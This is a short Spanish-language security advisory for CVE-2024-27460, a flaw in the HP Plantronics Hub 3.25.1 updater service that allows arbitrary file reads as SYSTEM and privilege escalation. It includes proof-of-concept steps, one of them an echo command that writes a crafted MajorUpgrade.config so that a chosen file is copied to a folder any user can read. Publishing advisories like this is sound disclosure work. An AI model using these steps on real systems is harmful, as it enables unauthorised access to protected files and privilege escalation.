CVE-2024-27460

Escalada de privilegios/lectura arbitraria de archivos en el actualizador de HP Plantronics Hub 3.25.1

Descripción:

HP Plantronics Hub 3.25.1 sufre un error que permite a usuarios con pocos privilegios realizar lecturas arbitrarias de archivos como SYSTEM en la máquina donde está instalada la aplicación. Además, es posible abusar de esta falla para escalar privilegios al usuario SYSTEM.

Versiones afectadas

HP Plantronics Hub 3.25.1

Servicio(s) afectado(s)

Ruta insegura: "C:\ProgramData\Plantronics\Spokes3G"

Servicio: PlantronicsUpdateService

Pasos para reproducir (PoC):

• Abra cmd.exe
• Navegue usando cd C:\ProgramData\Plantronics\Spokes3G
• echo ^|^|<RUTA-COMPLETA-AL-ARCHIVO-DESEADO>^|> MajorUpgrade.config
• El archivo deseado se copiará en "C:\Program Files (x86)\Plantronics\Spokes3G\UpdateServiceTemp", al que cualquier usuario autenticado tiene acceso.

Descubierto por:

• Farid Zerrouk de Deloitte Bélgica
• Alaa Kachouh de Mastercard Europa